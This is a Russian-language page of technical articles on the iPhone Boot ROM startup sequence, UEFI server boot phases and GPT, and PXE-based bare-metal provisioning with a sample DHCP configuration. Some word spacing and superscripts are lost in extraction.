Выполнение пользовательских задач

Нет

Ubuntu, Windows, Android

SDRAM

Питание

При выключенном устройстве отсутствует подача питания нацентральный процессор. Однако критически важные компоненты системы обеспечиваются энергией постоянно (контроллеры беспроводного сетевого соединения невходят всписок важных, поэтому смартфон неможет передавать никаких, втом числе секретных, данных ввыключенном состоянии исоответственно отследить его невозможно). Одним изтаких компонентов является интегральная схема управления питанием (PMIC Power Management Integrated Circuit). Вкачестве источника питания для PMIC может служить аккумулятор сзарядом, внешний источник, соединенный разъемом Lightning, или беспроводное зарядное устройство (посредством электромагнитной индукции). Нодля успешной загрузки операционной системы требуется наличие заряда наисправном аккумуляторе. Хотя теоретически устройство может функционировать подпитывая себя исключительно внешними источниками. Кроме этого укаждого источника питания имеется свой отдельный контроллер, новконтексте этой статьи ихдостаточно лишь иметь ввиду.

Для подачи питания нацентральный процессор PMIC должен получить сигнал настарт процедуры Power-On. Подать такой сигнал можно двумя способами: подключив устройство квнешнему источнику питания или спомощью боковой кнопки (длинным нажатием). Рассмотрим более детально классический способ включения нажатием кнопки.

Исторически так сложилось, что для запуска портативных устройств используется длинное нажатие. Вероятно, это сделано для защиты отслучайного включения-выключения устройства. Вцелом, ничто немешает использовать короткое нажатие для достижения тойже цели. Можно вспомнить, что если попытаться науже работающем устройстве нажать боковую кнопку тем идругим способом, товрезультате мыполучим отклик насовершенно разные действия. Изэтого мыможем сделать вывод, что существует механизм, который обеспечивает такую возможность. Обычно втандеме сPMIC используется небольшой Side-Button контроллер, взадачи которого, среди прочего, входит: отличить метод нажатия накнопку (длинный откороткого). Контроллер кнопки может питаться оттогоже источника, что иPMIC или отсамого PMIC. Контроллер может быть выполнен ввиде D-триггера сасинхронным сбросом. Висходном состоянии наасинхронный вход сброса CLR поступает сигнал. Всвою очередь, наэтом входе установлена RC-цепь, реализующая постоянную времени задержки.

Приблизительная схема работы боковой кнопкиПриблизительная схема работы боковой кнопки

Простым нажатием кнопки мызамыкаем электрическую цепь триггера, инавыход CTLx подаётся результирующий сигнал по-умолчанию. Для подачи сигнала наинициализацию запуска устройства время удержания кнопки питания должно превышать время задержки асинхронного сброса. Вовремя удержания кнопки сигнал наCLR входе затухает, ипри очередном такте синхронизирующего сигнала CLK триггер меняет свое состояние, выдавая навыходе CTLx другое значение, сообщающее PMIC начать процедуру запуска устройства посредством подачи питания нацентральный процессор.

SoC и CPU

Массовое производство высокотехнологичных полупроводниковых устройств иподдержание самих фабрик поихизготовлению является довольно дорогой задачей. Поэтому вмире современи массовой популярности технологий, основанных наполупроводниковых устройствах, существует тенденция заключения контракта сфирмами, специализирующимися именно напроизводстве полупроводников, для которых такая контрактная работа иявляется бизнесом. Фабрики таких фирм-изготовителей чаще всего находятся встранах сотносительно дешевой рабочей силой. Поэтому для изготовления систем накристалле (System onaCrystal SoC) уApple заключен многолетний контракт сизготовителем полупроводниковых устройств изТайваня TSMC (Taiwan Semiconductor Manufacturing Corporation). Инженеры Apple проектируют, разрабатывают ипрограммируют устройства, тестируют ихиспользуя опытное производство. Затем составляется спецификация, покоторой компания-изготовитель должна будет произвести ипоставить оговоренное количество экземпляров. При этом, все права целиком иполностью принадлежат компании Apple.

SoC инкапсулирует всебя множество электронных элементов составляющих аппаратный фундамент устройства. Среди которых, непосредственно, центральный процессор, оперативная память, графический процессор, ИИ-ускоритель, различные периферийные устройства идругие. Имеется также исвой контроллер питания. При достижении стабильного уровня напряжения наконтроллере питания SoC запитываются внутренние компоненты. Практически каждый микропроцессор имеет специальное устройство для сброса текущих параметров иустановки ихвисходное состояние. Такое устройство называется генератор начального сброса (Power-on reset/ PoR generator). Восновные задачи этого генератора входят: ожидание стабилизации питания, старт тактовых генераторов исброс состояний регистров. PoR генератор продолжает держать процессор врежиме сброса некоторое непродолжительное время, которое заранее известно.

Процедура Power-on resetПроцедура Power-on reset

Поскольку вэтом случае мыимеем дело сещё одним таймером, томожно предположить, что это также некая RC-цепь стриггером. Подостижении установленного порога напряжения наэтой цепи триггер меняет состояние (таким образом заканчивается таймаут сброса), PoR генератор становится неактивным, центральный процессор выходит изрежима сброса иначинает свою работу.

Центральный процессор должен начать работу свыполнения определенной программы. Для этого ему необходимо знать, где искать эту программу. Своей работой PoR генератор установил регистры взначения по-умолчанию (исходные значения). Врегистр счетчика команд (Program Counter/PC register) установился адрес первой инструкции впространстве физической памяти. Это значение называется вектором сброса (Reset vector). Конкретное значение вектора сброса определяется микроархитектурой процессора итеоретически может различаться среди разных поколений процессоров, новнашем случае это адрес 0100000000. Нааппаратном уровне определенные диапазоны адресов закреплены зафизическими устройствами хранения исоставляют вместе физическое адресное пространство (непутать свиртуальным адресным пространством, которое доступно изоперационной системы). Впроцессе дальнейшего запуска устройства диапазон адресов может быть переназначен впроизвольном порядке для более эффективной работы спамятью.

Следует заметить, что современные процессоры имеют несколько ядер, каждое изкоторых может независимо исполнять инструкции. Чтобы избежать неопределенности, какое изядер должно начать выполнение первой инструкции, производитель нааппаратном уровне выделяет основное ядро (primary core), которое ибудет производить загрузку. Вдальнейшем остальные ядра подключаются кработе программно.

Обычно вектор сброса указывает наячейку впостоянной памяти (Read only memory ROM). Она располагается внутри SoC. Эта память является энергонезависимой (сохраняет свое состояние после отключения питания) инеперезаписываемой (код программы прошивается туда единожды при производстве устройства). Записанная при производстве программа иявляется отправной точкой работы центрального процессора. Модуль постоянной памяти исама программа, записанная туда называются Boot ROM. Рассмотрим его задачи иработу более подробно.

Boot ROM

Как упоминалось ранее, Boot ROM это чип, включаемый внутрь SoC. Наэтапе изготовления нафабрике вего память записывается специальная программа-загрузчик. Загрузчик проектируется ипрограммируется вApple. Код написан наязыке Cс вызовами ассемблерных процедур, выполняющих машинно-зависимые команды процессора. Понулевому адресу впространстве памяти Boot ROM, скоторого иначнет выполнение процессор, располагается входная точка скомпилированной программы-загрузчика, аименно стандартная метка _start. Код, скоторого всё начинается, полностью состоит изассемблерных инструкций arm64. Онпроизводит следующие действия:

  1. Включается кэш второго уровня (L2 cache) и конфигурируется для использования в качестве временной оперативной памяти (объем 2 MiB).

  2. Поскольку диапазон рабочих адресов памяти статически определен, выполняется проверка текущего адреса. Если он неверен, то запускается цикл релокации на корректный адрес.

  3. Устанавливается виртуальный адрес функции main (начало кода на языке C) в регистр LR. Так что при выполнении инструкции ret управление перейдет в функцию main.

  4. Инициализируются указатели на начало стека. Задаются адреса для стека исключений, прерываний, данных.

  5. Создаются таблицы страниц и создаётся защита кучи от переполнения.

  6. Происходит копирование данных в оперативную память, а затем передача управления в функцию main.

Разметка оперативной памяти для Boot ROMРазметка оперативной памяти для Boot ROM

Практически весь код, который будет исполняться дальше, написан наязыкеC.

Сперва функция main запускает процедуру программной инициализации CPU.
Стоит отдельно оговорить, что процессор имеет несколько уровней привилегий для выполнения инструкций, называемых Exception Levels (EL): EL0, EL1, EL2, EL3. Цифра наконце обозначает уровень привилегий. Чем она выше тем выше уровень доступа. Внутри операционной системы пользователь имеет самый низкий уровень привилегий инеможет полностью управлять состоянием машины (вцелях собственнойже безопасности). Множество регистров икоманд недоступно. Однако поначалу, процессор начинает работу ссамого высокого уровня привилегий, поэтому загрузчик может успешно произвести начальную настройку оборудования.
Возвращаясь кпроцедуре программной инициализации CPU опишем еёосновные шаги.

  1. Конфигурация регистра безопасности (Secure Configuration Register - SCR): выставляются биты стандартных режимов работы для обработчика аварийного завершения и обработчиков аппаратных прерываний (FIQ и IRQ).

  2. Сброс кэшей процессора для инструкций и данных.

  3. Конфигурация регистра управления системой (System Control Register: SCTLR): включается бит проверки выравнивания стека, первичная настройка и активация блока управления памятью (Memory Management Unit - MMU, является частью CPU), отключение возможности выполнения кода из сегментов памяти, помеченных как доступные для записи (установка Execute Never / XN бита аналог NX-бита в x86 системах), активация кэша инструкций и кэша данных.

  4. Активируется сопроцессор для операций с плавающей точкой.

Управление возвращается вфункцию main, ипродолжается работа загрузчика.

Следующим шагом происходит программная настройка тактовых генераторов взначения по умолчанию:

  1. Устанавливается частота осциллятора контроллера питания.

  2. Инициализация подсистемы динамического масштабирования частоты и напряжения (DVFS - Dynamic voltage and frequency scaling).

  3. Подача питания на осцилляторы устройств, участвующих в загрузке BootROM.

  4. Подстановка характеристик частоты и напряжения для режима BootROM.

  5. Настройка подсистемы фазовой автоподстройки частоты (PLL - Phase Lock loop).

  6. Происходит включение сопроцессора защищенного анклава (SEP - Secure Enclave processor).

Сопроцессор защищенного анклава имеет свою собственную прошивку (sepOS), которая также проходит стадии безопасной загрузки ипроверки наподлинность. Нообэтом вдругой статье.

Далее следует инициализация шины внутренней памяти процессора (онаже кэш-память). Роль кэш памяти играет статическая памяти спроизвольным доступом (Static Random Access Memory SRAM). Непутать сдинамическим типом памяти, которую мыназываем оперативной. Она обладает большим объемом (Dynamic Random Access Memory DRAM). Различие втом, что ячейки SRAM основаны натриггерах, ауDRAM наконденсаторах. Память натриггерах требует большее количество транзисторов исоответственно занимает больше места наподложке. Всвою очередь, ячейки памяти наконденсаторах современем теряют заряд. Поэтому необходимо периодически производить холостую перезапись вфоновом режиме, что несколько влияет набыстроту взаимодействия. Таким образом SRAM используется вкачестве кэша (небольшой объем, быстрый доступ), аDRAM вкачестве основной памяти (больший объем, быстродействие вторично). НаSoC инициализируются линии контактов GPIO (General Purpose Input/Output) исоответствующий драйвер. Спомощью этих контактов следующим этапом, помимо прочего, проверяется состояние кнопок устройства, нажатие которых определяет необходимость принудительной загрузки вDFU режиме (Device Firmware Upgrade mode режим обновления прошивки устройства или восстановления). Описание работы этого режима заслуживает отдельной статьи, поэтому небудем касаться его сейчас.

Представляя собой минималистичную разновидность базовой системы ввода/вывода (BIOS), Boot ROM выделяет соответствующие абстракции: подсистема задач (аналог процессов) икуча (heap). Ипроизводит ихинициализацию. Подсистема задач позволяет выполнять инструкции внесколько потоков, хотя эта возможность неиспользуется вBoot ROM.

Идем дальше: инициализация аппаратного обеспечения, специфичного для конкретной SoC. Для последних моделей iPhone приблизительный список таков:

  1. Инициализация драйвера контроллера питания

  2. Инициализация драйвера системных часов

  3. Инициализация контроллера прерываний

  4. Старт таймеров

  5. Настройка контроллера питания и GPIO контактов для конкретной платформы

Настройка необходимого для старта оборудования выполнена, изапущены основные подсистемы. Затем выполняется программная проверка принудительной загрузки вDFU режиме. Наэтот раз таймер наотслеживание удержания соответствующих кнопок задается программно, после чего снимаются ихсостояния, ивзависимости отрезультата выполняется сброс системы напоследующую загрузку вDFU режиме, либо происходит выборка устройства, скоторого дальше производить загрузку.

Процесс запуска заходит вбесконечный цикл, вкотором можно задержаться неболее двух итераций. Если установлен DFU флаг, товкачестве устройства загрузки выбирается режим восстановления поUSB, иначе будет произведена загрузка сустройства по-умолчанию для конкретной платформы (внашем случае NAND флэш память).

if (dfu_enabled)   boot_fallback_step = -1;while (1) {  if (!get_boot_device(&device, &options))    break;  process_boot(device, options);  if (boot_fallback_step < 0)    continue;  boot_fallback_step++;}reset();

Устройство может впасть вбесконечный цикл перезагрузки, если невозможно определить конфигурацию выборки дальнейшего загрузчика (такое может произойти только если оборудование физически повреждено). При возникновении любой другой проблемы, устройство будет переведено врежим восстановления поUSB. Отсюда следует, что при исправном оборудовании невозможно сделать изустройства кирпич.

Apple использует особый формат файлов для хранения примитивных исполняемых файлов IMG4 (четвертая версия). Онпредставляет собой закодированные поDER схеме объекты стандарта ASN.1.

sequence [   0: string "IMG4"   1: payload   - IMG4 Payload, IM4P   2: [0] (constructed) [          manifest   - IMG4 Manifest, IM4M      ]]
sequence [    0: string "IM4P"    1: string type    - ibot, rdsk, sepi, ...    2: string description    - 'iBoot-6723.102.4'    3: octetstring    - the encrypted/raw data    4: octetstring    - containing DER encoded KBAG values (optional)        sequence [            sequence [                0: int: 01                1: octetstring: iv                2: octetstring: key            ]            sequence [                0: int: 02                1: octetstring: iv                2: octetstring: key            ]        ]]

Активируется утилита управления устройствами (UtilDM Utility Device Manager), инициализируются ANC (Abstract NAND Chip) драйвер ипроизводится сброс регистров контроллера флэш памяти. Затем дается команда NAND контроллеру перевести устройство врежим чтения, после чего изего памяти постранично считывается загрузчик iBoot. Изпрочитанных байтов генерируется экземпляр структуры файла образа IMG4.
Экземпляр содержит заголовки, служебную информацию иуказатель насам образ впамяти. Дальше поэтому указателю происходит обращение, ивыгрузка образа вбезопасный буфер. Там выполняется парсинг ивалидация образа. Изтекущих параметров системы собирается специальный объект окружение (environment) исопоставляется схарактеристиками образа. Проверяются заголовки, манифест, сравниваются хэши, происходит проверка подписи образа попубличному ключу Boot ROM (Apple Root CApublic key).

Если все прошло успешно, тонаступает заключительный этап работы Boot ROM. Создается функция-трамплин, позволяющая выполнить безусловный переход кначалу iBoot. Поскольку никакая информация недолжна быть передана наследующую стадию запуска устройства, иневозможно былобы вернуться назад, перед прыжком функции-трамплина сбрасываются значения регистров, отключается кэширование, прерывания, таймеры ит.д.
iBoot начнет свою работу практически счистого листа, словно онпервый вэтой цепочке.

Наэтом все. Вследующей части мыпопробуем разобраться как работает второй этап загрузки iPhone iBoot.

Спасибо за внимание.


Источники:

Apple: Boot process for iOS and iPad devices
Apple: Hardware security overview
Design & Reuse: Method for Booting ARM Based Multi-Core SoCs
Maxim integrated: Power-on reset and related supervisory functions
The iPhone wiki
ARM: Documentation
Jonathan Levin: MacOS and *OS internals
Wikipedia
Алиса Шевченко: iBoot address space
Harry Moulton: Inside XNU Series
Ilhan Raja: checkra1n
Texas Instruments: Push-Button Circuit
iFixit: iPhone 12 and 12 Pro Teardown
Исходные коды SecureROM и iBoot, утекшие в сеть в феврале 2018 года

Подробнее..

Как запускается сервер UEFI

27.08.2020 18:04:37 | Автор: admin

Ранее мы уже разбирали последовательность запуска сервера на примере устаревшего Legacy. Настало время познакомиться с UEFI поближе.

Первая версия того, что сейчас известно как Unified Extensive Firmware Interface (UEFI), разрабатывалась в 90-е годы прошлого тысячелетия специально под системы на Intel Itanium и называлась Intel Boot Initiative, а позже EFI.

Желание обновить процесс загрузки было ожидаемо. PC-BIOS, именуемый ныне Legacy, предлагает работать в 16-битном real mode, адресует всего 1 МБ оперативной памяти, а загрузчик вместе с таблицей разделов должен размещаться в первых 512 байтах накопителя. Более того, PC-BIOS передает управление первому найденному загрузчику без возможности возврата назад. При этом обработку случаев с несколькими операционными системами возлагают на плечи загрузчика.

Ограничение на размер загрузчика диктует использование разметки Master Boot Record (MBR), появившийся в 1983 году. MBR не стандартизирован, однако множество производителей придерживаются сложившихся традиций. У MBR есть серьезные ограничения: по умолчанию поддерживается только 4 раздела и объем накопителя не более 2.2 ТБ.

В декабре 2000 года была выпущена первая широко распространенная спецификация EFI под версией 1.02. Спустя пять лет Intel передали EFI в UEFI Forum, добавив Unified в название, чтобы подчеркнуть изменения. Спецификация UEFI лежит в открытом доступе и состоит из нескольких документов:

  • ACPI Specification;
  • UEFI Specification;
  • UEFI Shell Specification;
  • UEFI Platform Initialization Specification;
  • UEFI Platform Initialization Distribution Packaging Specification.

Самое интересное начинается в UEFI Platform Initialization Specification, где описываются все фазы загрузки платформы.

UEFI универсален, но в данной статье мы будем опираться на стандарт, поглядывая в сторону процессоров на архитектуре x86_64.

Wake up, Neo!


Последовательность фаз загрузки UEFI (источник UEFI Platform Initialization Specification)
После инициации включения платформы блок питания ждет, пока не завершатся переходные процессы, и после устанавливает сигнал на линию Power_Good. И первым начинает работу не центральный процессор, а автономная подсистема Intel Management Engine (ME) или аналогичная ей AMD Secure Technology (ST). Эта подсистема проводит собственные операции, а затем подготавливает и запускает первое ядро одного процессора, именуемое Bootstrap Processor (BSP).
В соответствии с принятой терминологией ядро/поток процессора здесь и далее будет называться процессором: начальным (bootstrap processor) или прикладным (application processor).
Как и в Legacy, процессор начинает выполнять первую инструкцию в конце адресного пространства по адресу 0xFFFFFFF0. Эта инструкция прыжок на первую фазу инициализации платформы SEC.

Фаза SEC (Security)


В данной фазе должны быть решены следующие задачи:

  • обработка события включения;
  • инициализация достаточного количества памяти для следующей фазы;
  • становление корня доверия системы;
  • передача необходимой информации и управления на следующую фазу.

Процессоры x86_64 запускаются в 16-битном реальном режиме, и в процессе первичной инициализации BSP переводится в 32-битный защищенный режим. Затем происходит обновление микрокода всех доступных процессоров.

Следом происходит обработка события включения. Под этим подразумевается агрегация информации о состояниях оборудования, чтобы на следующей фазе некоторые модули могли сделать выводы о здоровье и общем состоянии платформы.

Во время фазы SEC не происходит инициализация оперативной памяти. Вместо этого свободный кэш процессора помечается как несбрасываемый, и он превращается во временную оперативную память. Такой режим называется no-eviction mode (NEM). В выделенной памяти создается стек, что позволит модулям из следующих фаз использовать стековые языки программирования до инициализации основной оперативной памяти.

Далее происходит инициализация всех прикладных процессоров (Application Processor, AP) с отправкой им специальной последовательности межпроцессорных прерываний (Inter-Processor Interrupt, IPI). Последовательность Init IPI Start-up IPI пробуждает прикладной процессор и запускает на нем самотестирование Built-In Self-Test (BIST). Результаты тестирования записываются и передаются далее для анализа.

В конце фазы Security необходимо найти раздел Boot Firmware Volume (BFV), на котором располагается исполняемый код следующей фазы, а также по возможности найти другие, неосновные, разделы с кодом (Firmware Volume, FV).

Чтобы оправдать название фазы Security и стать корнем доверия, во время выполнения этой фазы код, которому мы планируем передать управление, может быть проверен на отсутствие несанкционированных изменений и вредоносных частей программы.

В конце выполнения SEC собрана следующая информация:

  • размер и адрес Boot Firmware Volume (BFV);
  • размер и адреса других Firmware Volume (FV);
  • размер и адрес временной оперативной памяти;
  • размер и адрес стека.

После чего начинается следующий этап Pre EFI Initialization.

Фаза PEI (Pre EFI Initialization)


Фаза PEI на материнской плате SuperMicro
Задача фазы Pre EFI Initialization заключается в сборе информации о подключенных устройствах и подготовке минимально необходимого количества оборудования для запуска процесса полной инициализации.

По своей задумке фаза PEI должна легковесной, так как память процессорного кэша ограничена. Помимо этого, в фазе PEI может происходить восстановление после сбоя, поэтому есть потребность размещать код фазы PEI в более отказоустойчивом хранилище.

Данная фаза состоит из ядра, называемого PEI Foundation, и подключаемых модулей PEI Module (PEIM). Центральной частью ядра является диспетчер модулей, PEI Dispatcher, который управляет порядком исполнения модулей, а также организует межмодульное взаимодействие (PEIM-to-PEIM Interface, PPI).

Отметим, что фаза SEC исполнялась с флэш-памяти на материнской плате, и только в начале PEI необходимый для этой фазы исполняемый код копируется во временную оперативную память.

Далее к работе приступает PEI Dispatcher. Он запускает PEI модули в конкретном порядке: сначала модули без зависимостей, затем зависящие от первых и так до тех пор, пока модули не закончатся.

Архитектура фазы PEI позволяет разрабатывать собственные модули, которые могут передавать результаты своей деятельности в следующую фазу. Передача информации происходит через специальную структуру данных Hand-off Block (HOB).

В процессе запуска PEI модулей отметим следующие:

  • CPU PEIM инициализация процессоров;
  • Platform PEIM инициализация северного (в т.ч. Memory Controller Hub) и южного (I/O Controller Hub) мостов;
  • Memory Initialization PEIM инициализация основной оперативной памяти и перенос данных из временной памяти в RAM.

Ранее из фазы SEC была получена информация о включении. Если событием включения является S3 Resume, то следом выполняется S3 BootScript, который восстанавливает сохраненное состояние процессоров и всех подключенных устройств, а после передает управление напрямую в ОС.
Состояние S3 (Suspend to RAM) это состояние сна, при котором процессор и часть чипсета отключаются с потерей контекста. При пробуждении из такого состояния процессор начинает выполнение как при обычном включении. Но вместо полной инициализации и прохождения всех тестов система ограничивается восстановлением состояния всех устройств.
При запуске из любого другого состояния управление передается в фазу Driver Execution Environment.

Фаза DXE (Driver eXecution Environment)


Инициализация механизма AHCI в фазе DXE
Задача фазы Driver Execution Environment (DXE) сводится к инициализации оставшихся устройств. К моменту старта фазы DXE процессор и основная память уже готовы к работе, а на драйверы DXE не накладываются строгие ограничения по потребляемым ресурсам.

Аналогично PEI Foundation в данной фазе есть собственное ядро DXE Foundation. Ядро создает необходимые интерфейсы и загружает три вида DXE сервисов:

  • UEFI Boot Services сервисы времени загрузки;
  • UEFI Runtime Services сервисы времени исполнения;
  • DXE Services специальные сервисы, необходимые ядру DXE.

После инициализации сервисов начинает работу DXE Dispatcher. Он находит и загружает DXE драйверы, которые, в свою очередь, завершают инициализацию оборудования.
В UEFI нет специализированной фазы, где оборудование проходит POST (Power-On Self-Test). Вместо этого каждый модуль PEI и DXE фазы проводит свой набор тестов и сообщает об этом с помощью POST-кодов пользователю и с помощью HOB в следующие фазы.
Среди множества загружаемых драйверов на процессорах x86_64 стоит уделить внимание драйверу System Management Mode Init (SMM Init). Этот драйвер подготавливает все для работы режима системного управления (System Management Mode, SMM). SMM это особый привилегированный режим, который позволяет приостановить выполнение текущего кода (в т.ч. операционную систему) и выполнить программу из защищенной области памяти SMRAM в собственном контексте.
Режим SMM неофициально считается кольцом защиты с номером -2. Ядро ОС работает на 0 кольце, а более ограниченные в правах кольца защиты имеют номер от 1 до 3. Официально нулевое кольцо считается наиболее привилегированным. Тем не менее, гипервизор с аппаратной виртуализацией условно называют кольцом -1, а Intel ME и AMD ST кольцом -3.
Дополнительно отметим модуль Compatibility Support Module (CSM), который обеспечивает совместимость с Legacy и позволяет загружать ОС без поддержки UEFI. Позднее мы рассмотрим этот модуль подробнее.

После инициализации всего оборудования наступает время выбора загрузочного устройства.

Фаза BDS (Boot Device Select)


В фазе Boot Device Select реализуется политика загрузки приложений UEFI. Несмотря на то, что это отдельная фаза, все сервисы, включая диспетчера, созданные на фазе DXE, остаются доступны.

Цель фазы BDS сводится к выполнению следующих задач:

  • инициализация консольных устройств;
  • поиск устройств, с которых можно загрузиться;
  • попытка загрузиться с найденных устройств в порядке приоритета.

PCIe BIOS карты расширения LSI
Поиском загружаемых областей на устройствах занимается Boot Manager. На некоторых картах расширения, например, на сетевых картах и RAID-контроллерах, может находиться собственный BIOS, называемый Option ROM, или OpROM. Содержимое OpROM устройств запускаются сразу после обнаружения, а после выполнения управление возвращается в Boot Manager.

Все разделы, на которых находятся загружаемые области, сохраняются в памяти менеджера загрузки и упорядочиваются в соответствии с порядком загрузки. Если ни одного приложения не нашлось, Boot Manager может вызвать диспетчера DXE, на случай если за время поисков диспетчер загрузил дополнительные драйвера и менеджеру загрузки могут открыться новые устройства.

Как отмечалось ранее, использование разметки Master Boot Record накладывает ограничения на размер разделов и их количество на накопителе, а также вызывает определенные неудобства в содержании нескольких операционных систем. Решение всех этих проблем является частью спецификации UEFI GUID Partition Table.

GPT (GUID Partition Table)


GUID Partition Table это стандартизированный формат размещения таблиц разделов, пришедший на смену устаревшей MBR.

Во-первых, GPT использует адресацию логических блоков (Logical Block Addressing, LBA) вместо адресации Цилиндр Головка Сектор (Cylinder, Head, Sector, CHS). Смена способа адресации позволяет GPT работать с накопителями объемом до 9.4 ЗБ (9.4 * 1021 байт) против 2.2 ТБ у MBR.

Во-вторых, таблица разделов претерпела изменения, и теперь в пределах одного накопителя можно создать до 264 разделов, хотя операционные системы поддерживают не более 128 в случае Microsoft Windows и 256 в случае Linux.

В-третьих, каждый раздел имеет свой идентификатор типа, который описывает назначение раздела. Так, например, идентификатор C12A7328-F81F-11D2-BA4B-00A0C93EC93B однозначно указывает на системный раздел EFI (EFI System Partition, ESP), с которого Boot Manager может попробовать загрузить приложение.

При разработке GPT не обошли стороной и совместимость с MBR. Дисковые утилиты могли не распознать GPT диск и затереть его. Чтобы избежать этого, при разметке GPT первые 512 байт заполняются защитной MBR (Protective MBR) разметкой из одного раздела на весь накопитель с системным идентификатором 0xEE. Такой подход позволяет UEFI понимать, что перед ним не настоящий MBR, а старому программному обеспечению без поддержки GPT видеть раздел с данными неизвестного типа.

В GPT отказались от загрузочной области в пользу ESP-разделов, которые распознаются как загрузочные. Boot Manager собирает информацию обо всех ESP на диске, что позволяет без конфликтов иметь несколько загрузчиков на накопителе, по одному на каждый ESP.

Загрузка операционной системы


После опроса всех устройств и поиска загрузочных областей Boot Manager начинает загружать в порядке приоритета загрузки. В общем случае управление передается в UEFI-приложение, которое начинает выполнять свою логику. Однако для систем с совместимостью с Legacy режимом в списке загрузочных областей может найтись накопитель с разметкой MBR и придется обращаться к CSM, модулю поддержки совместимости.

Модуль CSM позволяет запускать операционные системы, которые не поддерживают UEFI. Для загрузки таких ОС модуль CSM эмулирует окружение, в которое попадает классическая ОС:

  • загружает Legacy-драйвер;
  • загружает Legacy BIOS;
  • переводит видеовывод в совместимый с Legacy режим;
  • создает в памяти необходимые для Legacy структуры данных, отсутствующие в UEFI;
  • загружает драйвер CompatibilitySmm для работы SMM в Legacy.

Напомним, что в Legacy-режиме загрузка ОС начинается в 16-битном режиме, в то время как в UEFI все работает в 32-битном режиме. CSM запускает Legacy-загрузчик в 16-битном режиме и при необходимости обеспечивает связь с 32-битными UEFI-драйверами.

Фаза RT (Run Time)


Начало загрузки ОС или Legacy-загрузчика приводит к началу фазы Run Time. В данной фазе все сервисы DXE (кроме UEFI Runtime Services) перестают быть доступны.

Содержимое фазы RT может быть разным. Здесь может быть привычный по Legacy загрузчик ОС например, GRUB2 или Windows Boot Manager, который переводит процессор в 64-битный режим и запускает ОС. Но могут быть и самостоятельные приложения или сразу ядро операционной системы.

Ядро Linux начиная с версии 3.3 при наличии флага CONFIG_EFI_STUB превращается в обычное UEFI-приложение и может быть запущено из UEFI без использования сторонних загрузчиков.

Как и в случае с Legacy, загрузчику или самому ядру необходимо перевести процессор в 64-битный режим, загрузить все драйвера, настроить планировщик и запустить init. Init, в свою очередь, запускает процессы в пространстве пользователя, после чего появляется окно логина в ОС.

Заключение


Загрузка в UEFI это более сложный, но стандартизированный и во многом универсальный процесс. Схожесть с Legacy наблюдается лишь в общих чертах, а дьявол, как известно, кроется в деталях.

Как Вы думаете, как скоро получится полностью уйти от Legacy?
Пишите свое мнение в комментариях.
Подробнее..

Bare-Metal Provisioning инфраструктура с нуля

29.10.2020 20:09:21 | Автор: admin
Процесс заливки прошивки

Приветствую, Хабр. Меня зовут Роман, я разработчик встраиваемых систем в Getmobit. Хочу поделиться кейсом по развёртыванию программного обеспечения на большом количестве устройств на производственной линии с нуля. Заставлять людей на производстве бегать вдоль конвейера с флешкой не хотелось, а для автоматизации мне необходимо было четко понимать: на какие шаги можно поделить этот процесс, что на каждом этапе должно происходить, а главное как модифицировать стандартный процесс, чтобы в итоге выполнять специфичные для нашего продукта операции. Основой для решения этой задачи стала технология загрузки устройств по сети (PXE). Об этом и расскажу.

На чем разворачиваем?


Bare Metal частью является устройство GM-Box в том виде, в котором его увидят пользователи.
GM-Box

В зависимости от модификации, в состав устройства могут входить разные подключаемые модули (Wi-Fi, LTE и др).
В процессе производства устройства должны пройти функциональные тесты подключенных блоков: например, Wi-Fi находит точки доступа и обеспечивает номинальную скорость, кнопки на устройстве нажимаются и работают, Bluetooth модуль находит устройство с контрольным MAC-адресом и тому подобное.
На всех экземплярах, прошедших тесты, должно оказаться конечное ПО (прошивка).

Немного теории


Preboot eXecution Environment (PXE)


Технология PXE позволяет загружать операционную систему на устройстве с помощью сетевой карты, а в нашем случае загрузку через сеть будет инициировать UEFI.
При этом можно получить информацию о загрузчике (pxelinux, grub и подобные) с помощью DHCP-опций. Это в свою очередь дает гибкость в управлении конфигурациями операционных систем для целевых устройств.
С точки зрения инфраструктуры типовой процесс загрузки с помощью PXE будет выглядеть, как на схеме:
Диаграмма последовательности загрузки

где Device целевое устройство для развертывания ОС и настройки, Provisioning host инфраструктура или отдельно-стоящая машина.
На схеме, Device после включения питания и первоначальной загрузки UEFI запрашивает по DHCP параметры, в которых будет указано имя файла Zero image и где его найти (адрес TFTP-сервера). И далее передает на исполнение полученный образ (например, pxelinux).

Далее происходит загрузка программы из минимального образа (Zero image). С указанного ранее TFTP-сервера программа читает конфигурацию загрузки и исполняет ее. В нашем случае он автоматически загружает Provision agent для дальнейшей установки и передает ему параметры, полученные на предыдущем этапе. Сам агент представляет из себя ядро Linux и initial RAM disk и выполняет сценарий установки. Состав сценария зависит от задачи. В минимальном виде он выполняет следующие операции:
  • определяет оборудование загруженного устройства
  • производит разметку диска
  • производит настройку операционной системы
  • устанавливает необходимые пакеты

Агентами, например, могут быть preseed, kickstart или самостоятельно собранный дистрибутив со скриптами для развертывания.
После выполнения сценариев развертывания Provision agent автоматически перезагружает устройство.

PXE-less загрузка


Для систем без функции PXE, по классике, можно использовать готовый live-образ на внешнем носителе. Но если вам, например, требуется удаленный мониторинг процесса развертывания или есть зависимость от ресурсов в инфраструктуре, то вместо PXE в схему загрузки может быть добавлен discovery image, который также как live-образ загружается со внешнего носителя, но выполняет лишь функцию доставки provision-агента и далее цепочка загрузки будет идентична схеме.

Подготовка инфраструктуры


Подготовка выглядит достаточно просто для обеспечения каждого этапа необходимыми данными со стороны инфраструктуры потребуются следующие компоненты:
  1. Устройства, поддерживающие PXE
  2. DHCP сервер (например, isc-dhcp-server)
  3. TFTP сервер (например, tftp-hpa)
  4. Хранилище (например, репозиторий Ubuntu или python-пакетов)
  5. Zero image (например, озвученный ранее, pxelinux.0)
  6. Provision agent (ядро Linux и initrd)

В интернете достаточно много практик и инструкций по установке и настройке компонентов п.1-4, поэтому я приведу лишь примеры конфигураций. На схеме ниже представлена инфраструктура, в рамках которой описываются примеры конфигураций. Здесь все сервисы расположены на одном хосте.
Схема инфраструктуры

Примеры конфигурационных файлов
Конфигурация DHCP /etc/dhcp/dhcpd.conf
option domain-name "provisioner";option domain-name-servers 8.8.8.8;default-lease-time 600;max-lease-time 7200;log-facility local7;authoritative;subnet 192.168.30.0 netmask 255.255.255.0 {  range 192.168.30.100 192.168.30.200;  option subnet-mask 255.255.255.0;  option domain-name-servers 192.168.30.1;  option domain-name "prod.provisioner";  option domain-search "prod.provisioner";  option broadcast-address 192.168.30.255;  # Имя файла-загрузчика  filename "pxelinux.0";  # Адрес сервера, откуда будет браться загрузчик  next-server 192.168.30.1;}


Конфигурация TFTP /etc/xinetd.d/tftp
